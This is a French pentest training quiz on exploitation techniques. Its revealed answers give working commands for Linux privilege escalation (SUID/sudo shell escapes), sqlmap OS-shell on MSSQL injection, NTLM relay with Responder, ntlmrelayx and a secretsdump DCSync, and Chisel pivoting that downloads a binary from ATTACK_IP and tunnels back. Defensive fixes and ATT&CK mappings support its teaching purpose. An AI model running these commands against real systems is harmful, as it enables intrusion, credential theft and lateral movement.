Chapitre 3.2 Quiz - Techniques d'exploitation

Mode Quiz - Toutes les reponses sont masquees. Tentez chaque question avant de reveler la reponse.

Question 1

Vous avez exploite une application web via injection SQL et obtenu un shell Meterpreter s'executant en tant que www-data. L'execution de getuid retourne uid=33(www-data). Vous voulez escalader vers root. Quelle commande Metasploit executez-vous en premier pour identifier les chemins potentiels, et quelle est la categorie la plus courante d'escalade de privileges locale sur un serveur web Linux typique ?

Reveler la reponse

Reponse : run post/multi/recon/local_exploit_suggester

Explication : Le suggesteur d'exploits locaux verifie la version du noyau de la cible, les logiciels installes et la configuration par rapport a une base de donnees d'exploits d'escalade de privileges locaux connus dans les modules post de Metasploit. Il est non destructif et rapide.

meterpreter > run post/multi/recon/local_exploit_suggester
# Exemple de sortie :
# [+] exploit/linux/local/sudo_baron_samedit (CVE-2021-3156) - likely
# [+] exploit/linux/local/overlayfs_priv_esc - likely

Categories les plus courantes sur les serveurs web Linux :

Binaires SUID - les binaires appartenant a root avec le bit SUID s'executent en tant que root quel que soit l'appelant

find / -perm -u=s -type f 2>/dev/null   # Trouver les binaires SUID
# Verifier GTFOBins (gtfobins.github.io) pour l'exploitation des binaires SUID connus
# ex. si /usr/bin/find a SUID : find . -exec /bin/sh -p \\\\; -quit

Mauvaises configurations sudo - www-data autorise a executer des commandes specifiques en tant que root

sudo -l   # Lister les commandes sudo autorisees
# (ALL) NOPASSWD: /usr/bin/python3  - python3 -c 'import os; os.system("/bin/bash")'

Exploits du noyau - noyau non corrige avec CVE d'escalade de privileges locale

uname -a   # Obtenir la version du noyau
# Rechercher : searchsploit linux kernel 5.4.0 privilege escalation

Taches cron inscriptibles - cron executant un script appartenant/inscriptible par www-data

cat /etc/cron* 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.hourly/

MITRE ATT&CK : T1068 (Exploitation pour escalade de privileges), T1548.003 (Sudo/Cache Sudo)

Question 2

Une application web reflete la saisie utilisateur dans une page sans assainissement. Vous injectez '; WAITFOR DELAY '0:0:5'-- dans un champ de connexion et la reponse prend exactement 5 secondes. Qu'avez-vous confirme, quelle base de donnees est en cours d'execution, et quelle est la commande sqlmap correcte pour exploiter davantage cela ?

Reveler la reponse

Reponse : Vous avez confirme une injection SQL aveugle basee sur le temps sur une instance Microsoft SQL Server.

Explication :

WAITFOR DELAY '0:0:5' est une fonction de delai temporel specifique a MSSQL. L'equivalent MySQL est SLEEP(5), PostgreSQL utilise pg_sleep(5).
Le temps de reponse de 5 secondes confirme que le SQL injecte s'est execute - ce qui signifie que l'application est vulnerable a SQLi et que le backend est MSSQL.
C'est une injection aveugle car aucune donnee n'est retournee dans la reponse - seul le timing confirme l'execution.

sqlmap -u "http://target.example.com/login" \\
  --method POST \\
  --data "username=admin&password=test" \\\\   # Corps POST
  --dbms=mssql \\\\                            # Specifier SGBD (accelere la detection)
  --technique=T \\\\                           # Aveugle base sur le temps uniquement (technique confirmee)
  --level=2 \\
  --batch \\
  --dbs                                     # Enumerer les bases de donnees

# Une fois la base de donnees identifiee, lister les tables
sqlmap -u "http://target.example.com/login" \\
  --method POST --data "username=admin&password=test" \\
  --dbms=mssql --technique=T --batch \\
  -D master --tables

# Tenter l'execution de commandes OS via xp_cmdshell (sysadmin MSSQL requis)
sqlmap -u "http://target.example.com/login" \\
  --method POST --data "username=admin&password=test" \\
  --dbms=mssql --batch \\
  --os-shell                                # Active xp_cmdshell si privileges sysadmin existent

Correctif defensif :

# Utiliser des requetes parametrees - la seule prevention SQLi fiable
import pyodbc
cursor.execute("SELECT * FROM users WHERE username=? AND password=?",
               (username, password))   # Parametres lies separement, jamais concatenes

MITRE ATT&CK : T1190 (Exploiter une application exposee publiquement), T1059.009 (SQL)

Question 3

Lors d'un test d'intrusion interne, vous executez cme smb 192.168.1.0/24 et observez que le Controleur de domaine a 192.168.1.10 a SMB signing: False. Pourquoi est-ce significatif, et quelle attaque cela permet-il qui ne serait pas possible si la signature etait appliquee ?

Reveler la reponse

Reponse : La signature SMB desactivee permet les attaques de relai SMB - capturer l'authentification NTLM d'une machine et la rejouer vers le Controleur de domaine (ou d'autres hotes) pour obtenir un acces authentifie sans connaitre le mot de passe.

Explication : La signature des messages SMB garantit que chaque message SMB est signe cryptographiquement par la cle de session derivee des identifiants de l'utilisateur. Sans signature, un attaquant en position d'homme du milieu peut :

Intercepter un defi/reponse d'authentification NTLM destine a un serveur
Relayer cette authentification en temps reel vers un autre serveur (ex. le DC)
Obtenir une session authentifiee en tant qu'utilisateur victime - sans cracker aucun hash

# Etape 1 : Identifier les hotes sans signature SMB (cibles de relai)
cme smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt
# Seuls les hotes avec signing=False sont des cibles de relai viables

# Etape 2 : Configurer Responder pour capturer les defis NTLM (desactiver serveurs SMB/HTTP)
# Editer /etc/responder/Responder.conf : SMB = Off, HTTP = Off
# (Nous voulons que ntlmrelayx gere cela, pas Responder lui-meme)
responder -I eth0 -rdw \\\\             # Empoisonner LLMNR/NBT-NS/mDNS
  --lm                               # Degrader vers LM si possible

# Etape 3 : Executer ntlmrelayx en ciblant le DC ou d'autres hotes sans signature
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\\\       # Liste des cibles
  -smb2support \\\\                     # Support SMB2
  -socks                             # Creer un proxy SOCKS par session relayee
  # Ou pour l'execution de commandes :
  # -c "powershell -enc [base64_payload]"

# Tout utilisateur qui s'authentifie (via lecteur reseau, imprimante, navigateur avec NTLM)
# aura son authentification relayee vers la cible - vous obtenez sa session

# Etape 4 : Utiliser les sessions relayees via SOCKS
proxychains impacket-secretsdump \\
  DOMAIN/user@192.168.1.10 \\\\        # DCSync via session relayee
  -no-pass

Correctif defensif :

# Appliquer la signature SMB sur tous les hotes Windows via GPO
# Configuration ordinateur - Parametres Windows - Parametres de securite -
# Politiques locales - Options de securite :
# "Serveur reseau Microsoft : Signer numeriquement les communications (toujours)" - Active
# "Client reseau Microsoft : Signer numeriquement les communications (toujours)" - Active

# Ou via PowerShell sur le serveur :
Set-SmbServerConfiguration -RequireSecuritySignature $true
Set-SmbClientConfiguration -RequireSecuritySignature $true

MITRE ATT&CK : T1557.001 (Empoisonnement LLMNR/NBT-NS et relai SMB)

Question 4

Vous avez l'execution de code sur un serveur Linux dans une DMZ (192.168.50.0/24). Le reseau interne (10.10.20.0/24) n'est pas directement accessible depuis votre machine d'attaque. Decrivez la configuration de pivoting complete en utilisant Chisel pour scanner le reseau interne, incluant les commandes exactes sur les deux machines.

Reveler la reponse

Reponse : Utiliser Chisel en mode proxy SOCKS inverse pour tunneliser le trafic a travers l'hote DMZ compromis.

Architecture :

Machine d'attaque --[public]--> Hote DMZ (192.168.50.100) --[interne]--> 10.10.20.0/24
[Serveur Chisel]                   [Client Chisel]
[proxychains - SOCKS]

Commandes etape par etape :

# --- MACHINE D'ATTAQUE ---

# Etape 1 : Telecharger et servir le binaire Chisel
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && mv chisel_linux_amd64 chisel && chmod +x chisel

# Servir a l'hote compromis
python3 -m http.server 8000

# Etape 2 : Demarrer Chisel en mode serveur inverse
./chisel server \\
  --port 9001 \\\\                      # Ecouter les connexions inverses
  --reverse \\\\                        # Autoriser les tunnels inverses
  --socks5                           # Activer le mode proxy SOCKS5


# --- HOTE DMZ COMPROMIS ---

# Etape 3 : Telecharger Chisel depuis la machine d'attaque
wget http://ATTACK_IP:8000/chisel -O /tmp/chisel
chmod +x /tmp/chisel

# Etape 4 : Se connecter en retour a la machine d'attaque et creer un tunnel SOCKS inverse
/tmp/chisel client \\
  ATTACK_IP:9001 \\\\                   # Se connecter au serveur Chisel
  R:1080:socks                       # Creer un proxy SOCKS5 inverse sur le port 1080 de la machine d'attaque
# "R:" signifie inverse - le tunnel est initie par l'hote compromis, sort sur la machine d'attaque


# --- MACHINE D'ATTAQUE (apres connexion du client) ---

# Etape 5 : Configurer proxychains
cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Etape 6 : Scanner le reseau interne a travers le tunnel
proxychains nmap \\
  -sT \\\\                              # Scan TCP connect (proxychains ne supporte pas les raw sockets)
  -p 22,80,443,445,3389,8080 \\
  -Pn \\\\                              # Ignorer la decouverte d'hotes (ICMP ne fonctionne pas via SOCKS)
  --open \\
  10.10.20.0/24

# Acceder au serveur web interne
proxychains curl http://10.10.20.50/

# SSH vers l'hote interne via le tunnel
proxychains ssh user@10.10.20.50

# Metasploit via le pivot
msf6 > setg Proxies socks5:127.0.0.1:1080
msf6 > setg ReverseAllowProxy true
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.20.0/24
msf6 > run

Detection : La connexion Chisel de l'hote DMZ vers la machine d'attaque apparait comme une seule connexion TCP sortante persistante. Les defenseurs devraient alerter sur : les connexions sortantes longue duree depuis des serveurs, les destinations externes inattendues, les sessions a volume d'octets eleve sur des ports non standard.

MITRE ATT&CK : T1090.001 (Proxy : Proxy interne), T1572 (Tunneling de protocole)

Fin du Quiz 3.2 - Techniques d'exploitation